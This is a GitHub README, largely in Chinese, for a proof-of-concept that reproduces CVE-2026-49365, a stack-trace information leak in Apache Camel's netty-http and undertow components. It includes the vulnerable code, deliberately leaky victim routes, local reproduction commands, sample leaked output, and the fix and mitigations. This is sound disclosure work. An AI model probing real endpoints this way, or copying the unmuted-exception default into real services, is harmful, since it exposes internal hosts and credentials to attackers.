oscerd/CVE-2026-49365
GitHub: oscerd/CVE-2026-49365
该工具用于复现和演示 Apache Camel 中 camel-netty-http 与 camel-undertow 组件因异常堆栈未屏蔽而导致的信息泄露漏洞(CVE-2026-49365)。
Stars: 0 | Forks: 0
# camel-netty-http / camel-undertow muteException 堆栈跟踪泄露复现程序 (CVE-2026-49365)
本项目演示了 Apache Camel 的 `camel-netty-http` 和
`camel-undertow` 组件中的一个**信息泄露**问题,对应编号为 **CVE-2026-49365**。`muteException` 选项用于控制是否将未捕获的处理异常详情返回给 HTTP 客户端。在这两个组件中,该选项的默认值被发布为
**false**,因此在发生任何处理错误时,**完整的 Java 堆栈跟踪**会作为 `text/plain` 被写回:
```
// DefaultNettyHttpBinding (affected 4.18.2) — muteException defaults to false
if (cause != null && !configuration.isMuteException()) {
...
final String stackTrace = ExceptionHelper.stackTraceToString(cause);
body = NettyConverter.toByteBuffer(stackTrace.getBytes()); // full stack trace -> client
message.setHeader(NettyHttpConstants.CONTENT_TYPE, "text/plain");
} else if (cause != null && configuration.isMuteException()) {
body = NettyConverter.toByteBuffer("".getBytes()); // muted: empty body
}
```
`camel-undertow` 存在相同的缺陷(当 `muteException` 为 false 时,`DefaultUndertowHttpBinding` 会调用 `stackTraceToString(exception)`,并且 `UndertowComponent` 将其默认值设为 false)。相比之下,jetty/servlet(通过 `HttpCommonComponent`)和 platform-http 已经将 `muteException` 默认设为 **true**。堆栈跟踪通常会泄露内部后端主机名、数据库 URL、凭据/密钥库提示、库版本以及源文件/代码行位置——这有利于攻击者进行侦察,并直接泄露嵌入在异常消息中的任何内容。
此 PoC 将其影响演示为**通过错误消息造成的信息暴露 (CWE-209)**。
安全公告:https://camel.apache.org/security/CVE-2026-49365.html
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-netty-http`, `camel-undertow` |
| **受影响类** | `DefaultNettyHttpBinding` / `DefaultUndertowHttpBinding`(当 `muteException` 为 false 时返回 `stackTraceToString(cause)`);`NettyHttpConfiguration` / `UndertowComponent` 默认设置 `muteException=false` |
| **CWE** | CWE-209(生成包含敏感信息的错误消息) |
| **影响** | 在发生任何处理错误时,将完整的 Java 堆栈跟踪(内部细节)返回给未经身份验证的 HTTP 客户端 |
| **前置条件** | netty-http 或 undertow HTTP consumer;任何触发处理异常的请求 |
| **受影响版本** | 从 4.0.0 至 4.14.8 之前,从 4.15.0 至 4.18.3 之前,从 4.19.0 至 4.21.0 之前 |
| **修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23651 (PR [apache/camel#23913](https://github.com/apache/camel/pull/23913)) |
| **致谢** | Yu Bao (PayPal) |
## 受害者路由
```
from("netty-http:http://0.0.0.0:8888/api/orders").process(new FailingProcessor()); // default (false) -> leaks
from("netty-http:http://0.0.0.0:8889/api/orders?muteException=true").process(new FailingProcessor()); // muted -> empty
from("undertow:http://0.0.0.0:8890/api/orders").process(new FailingProcessor()); // default (false) -> leaks
```
`FailingProcessor` 抛出一个 `IllegalStateException`,其消息包含一个内部数据库 URL 和一个 vault 密钥——这代表了真实异常中通常携带的细节信息。
## 仓库结构
```
CVE-2026-49365/
├── pom.xml # camel-netty-http + camel-undertow 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FailingProcessor.java # throws an exception carrying sensitive internal detail
│ ├── VictimRoutes.java # netty-http :8888/:8889 + undertow :8890
│ └── ExploitController.java # attacker: GETs each endpoint, shows the leaked stack trace
└── resources/
└── application.properties
```
## 前置条件
- Docker 和 Docker Compose
- Java 17+ 和 Maven 3.8+
## 复现步骤
```
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### 预期输出(节选)
```
1) netty-http :8888 (muteException at its default = FALSE on 4.18.2)
HTTP 500
response body (NNNN bytes) — LEAKS internal detail:
| java.lang.IllegalStateException: Inventory lookup failed: cannot connect to
| jdbc:postgresql://prod-db.internal:5432/inventory (user=svc_inventory, password from vault ...)
| at com.example.FailingProcessor.process(FailingProcessor.java:...)
| at org.apache.camel.processor.DelegateAsyncProcessor.process(...)
| ...[truncated]
2) netty-http :8889 (muteException=true — the corrected default's behaviour)
HTTP 500
response body:
3) undertow :8890 (muteException at its default = FALSE — same defect)
HTTP 500
response body (NNNN bytes) — LEAKS internal detail:
| java.lang.IllegalStateException: Inventory lookup failed: ... jdbc:postgresql://prod-db.internal ...
>>> Information disclosure via uncaught-exception response: true
```
## 推荐修复方案
升级到 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23651)。升级后,netty-http 和 undertow 默认设置 `muteException=true`(发生错误时返回空主体)。如果应用程序确实需要在响应中包含异常详情,请显式设置 `muteException=false`——且绝不能在暴露给不受信任客户端的 endpoint 上这样设置。
## 缓解措施
在升级之前,请在每个 netty-http 和 undertow consumer endpoint 上设置 `muteException=true`,并添加一个 `onException(...).handled(true)`(或错误处理器),使其返回通用消息而不是堆栈跟踪。
## 免责声明
本复现程序仅供**安全研究和授权测试使用**,针对的是**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于攻击任何系统。
标签:Apache Camel, CWE-209, JS文件枚举, 信息泄露, 域名枚举, 安全PoC, 漏洞复现, 版权保护, 请求拦截